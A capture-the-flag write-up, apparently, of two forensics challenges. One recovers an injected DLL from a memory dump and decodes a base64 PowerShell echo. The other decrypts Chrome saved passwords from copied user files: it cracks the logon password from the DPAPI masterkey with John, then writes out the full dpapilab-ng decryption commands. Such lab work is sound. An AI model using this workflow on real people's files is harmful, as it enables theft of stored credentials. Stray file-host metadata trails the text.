reading the source for that ps1 it looks like it injects the dll into notepad.exe memory without linking, aka `dlldump` wont work and indeed it didnt when i tested
however i can ollydumpex if thats the case since dont forget unity dlls are also unlinked and ive dumped a ton of those lol (coughcoughiwonderwhatitiscough)
so time to load into windbg/IDA after running `raw2dmp` on the raw memory dump
then the usual `.process /p /r` stuff from arcade modding days (use `.sympath srv*https://msdl.microsoft.com/download/symbols` though coz IDA look for local symbols only by default)
except ntdll header died and no symbols can be found so `lm` didnt work :(
so back to volatility
i tried to `memdump` and `memmap` to understand whats happening in the process, but they were all `0x1000` chunks pretty much which didnt feel right
i did find `winmgr_x86.dll` while `strings -t x -10 3244.dmp` though (oh and offset param `-o` in mingw somehow defaults to octal lol made me so confused for a while)
then i remembered `vaddump` is a thing for better process mapping like the one i know in ollydumpex
so i dumped all the files and looked into the one with virtual offset matching the `memmap` dump file offset that `strings` showed which is in the region 0xb0000-b3fff
and well since i have no idea what to do next i might as well look around near that string
it was mainly 0s but somehow theres a huge pile of data in one small chunk not long after the winmgr_x86.dll that has discernable pattern so i throwed it into [cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Base64(%27A-Za-z0-9%2B/%3D%27,true)Find_/_Replace(%7B%27option%27:%27Regex%27,%27string%27:%27%5B%5Ea-zA-Z%5D%27%7D,%27%27,true,false,true,false)Find_/_Replace(%7B%27option%27:%27Regex%27,%27string%27:%27E%27%7D,%27%27,true,false,true,false)&input=Vll2c2creDR4a1dJY01aRmlXL0dSWXAzeGtXTFpjWkZqSExHUlkxenhrV09hTVpGajJYR1JaQnN4a1dSYk1aRmtpREdSWk10eGtXVVpjWkZsWERHUlpZZ3hrV1hZc1pGbUhuR1JabHd4a1dhWWNaRm0zUEdSWnh6eGtXZElNWkZuaTNHUlo5bHhrV2dic1pGb1dQR1JhSWd4a1dqV3NaRnBGSEdSYVZDeGtXbWFzWkZwMEhHUmFoSHhrV3BaOFpGcWtIR1JhdGl4a1dzZDhaRnJVSEdSYTVueGtXdlFjWkZzRVhHUmJGbnhrV3lRY1pGczFiR1JiUkJ4a1cxUXNaRnRrUEdSYmRCeGtXNFNNWkZ1WFBHUmJwQnhrVzdXc1pGdkVIR1JiMUN4a1crYzhaRnYwSEdSY0JIeGtYQmQ4WkZ3a0hHUmNOanhrWEVkOFpGeFVMR1JjWm14a1hIUWNaRnlFZkdSY2xOeGtYS1FjWkZ5MDdHUmN4QnhrWE5Rc1pGem5YR1JjOUJ4a1hRUnNaRjBUakdSZEpCeGtYVFdjWkYxR2ZHUmRWQnhrWFdlc1pGMTBIR1JkaEd4a1haT01aRjJrSEdSZHRoeGtYY1FjWkYzVUhHUmQ0d3hrWGZRY1pGNEVqR1JlRkp4a1hpUWNaRjQxckdSZVJCeGtYbFFzWkY1bWJHUmVkQnhrWG9TTVpGNlZIR1JlcEJ4a1hyVGNaRjdFSEdSZTFDeGtYdVpzWkY3MEhHUmZCSHhrWHhXY1pGOGtIR1JmTk54a1gwVWNaRjlVTEdSZloxeGtYM1FjWkYrRWZHUmZsUnhrWDZRY1pGKzJiR1JmeFJ4a1g5UWNaRi9qMXFBSTFGaUZEL0ZRQWdDd0NMNVYwPQ)
and eyo thats a powershell command and a base64 encoded string so time to decode that
but i keep getting `echo` only which is definitely not the whole string so something is off with my analysis
so i probably have to really get the dll analysed
i remembered in the src of that powershell cmd that theres zero out `MZ`, so i patched it back in for IDA to recognize it and loaded it in
but it was all 0s for some reason
so i looked into it with CFF explorer and saw the OEP which looks good coz it matches the part where i see data and not 0s in hex editor
so its probably the section raw addresses thats broken
IDA's the physical offset of the OEP (0x650) matches the section offset 0x400 shown in CFF explorer so that means i just gotta shift all sections to the actual file offset `0x1000` onwards (possibly due to how this is straight up extracted from memory so the file offsets are virtual not physical)
and eyyy some data finally loaded in and its the part i manually disassembled too
the stuff i saw was also disassembled in the text section but not as a function
except i can clearly see the assembly loading in characters owo
and it says powershell right there too time to assemble it as a function and decompile it
and eyy the base64 string is longer than the one i had and it gives the actual flag as echo param now
turns out i removed 1 too many Es from the cyberchef scuffed analysis i did LOL `ZQBjAGgAbwAgAgAVABCAHsAZABsAGwAcwBfAGMANABuAF8AYgAzAF8AaAA0AHIAZABfAHQAMABfAGYAMQBuAGQAfQA` vs `ZQBjAGgAbwAgAEgAVABCAHsAZABsAGwAcwBfAGMANABuAF8AYgAzAF8AaAA0AHIAZABfAHQAMABfAGYAMQBuAGQAfQA=`
welp heres the flag `HTB{dlls_c4n_b3_h4rd_t0_f1nd}`
if only ntdll loaded in i wouldnt have second guessed myself so many times with ollydumpex sadge
### seized
[@Ray](https://maplebacon.org/authors/Ray/) said its related to chrome, so i digged around in the files and found `Login Data` which does indeed have windowsliveupdater for saved passwords
but the password is encrypted using the usual chrome method
so i looked into tools that can break it maybe and i found https://github.com/moonD4rk/HackBrowserData which got flagged so many times lmfao
doesnt work either coz it uses CryptProtectData which ended up using DPAPI anyways according to the chromium source https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc
which doesnt seem too breakable to me at the time so i went to look into other methods instead like snooping around for other programs that mightve leaked the creds
found covenant C&C creds from chrome, but nothing special so i gave up for a while
after a few days [@Em]() came in talking about the dpapi stuff again so i looked around for info again to respond with
then i found https://www.passcape.com/index.php?section=docsys&cmd=details&id=28 which mentioned the masterkey is stored in appdata
thats a huge red flag in my mind so i suddenly got a lot of drive to investigate again lol
eventually it looks like the only thing we need is the user logon password then we can decrypt with https://github.com/tijldeneut/dpapilab-ng (i originally found the old ver which is python 2 which didnt want to run on my laptop but same gist)
[@Ray](https://maplebacon.org/authors/Ray/) found out john can crack user logon password with masterkey https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py, which is way faster than the tool mentioned in passcape
so while hes running the brute force i looked around for any stored user creds in the same way masterkey is stored but nope no luck
but [@Ray](https://maplebacon.org/authors/Ray/) got the password really quick lol it was `ransom`
so time to plug it into dpapilab and test it out
`python mkudec.py ..\forensics_seized\AppData\Roaming\Microsoft\Protect\S-1-5-21-3702016591-3723034727-1691771208-1002 --password 'ransom'` actually decrypted it eyy thats a good sign
now i just need to decrypt the actual blob so i looked and found `blobdec.py` which didnt really want to work on the blob i copied from what boomer said which is extracted from the `Login Data` sqlite db
so time to look for ways to fix it
or nope theres literally `browserdec.py` in the same toolset lmfao so with a really long command `python browserdec.py --mkfile ..\forensics_seized\AppData\Roaming\Microsoft\Protect\S-1-5-21-3702016591-3723034727-1691771208-1002\865be7a6-863c-4d73-ac9f-233f8734089d --password 'ransom' --loginfile '..\forensics_seized\AppData\Local\Google\Chrome\User Data\Default\Login Data' --statefile '..\forensics_seized\AppData\Local\Google\Chrome\User Data\Local State' -v` we can get the flag without much hassle eyy
`HTB{Br0ws3rs_C4nt_s4v3_y0u_n0w}`

File Metadata

Mime Type
text/x-python
Expires
Thu, May 8, 6:34 PM (21 h, 34 m)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
bf/92/8b4f60e23a3f79ee6b4801a479f2

Event Timeline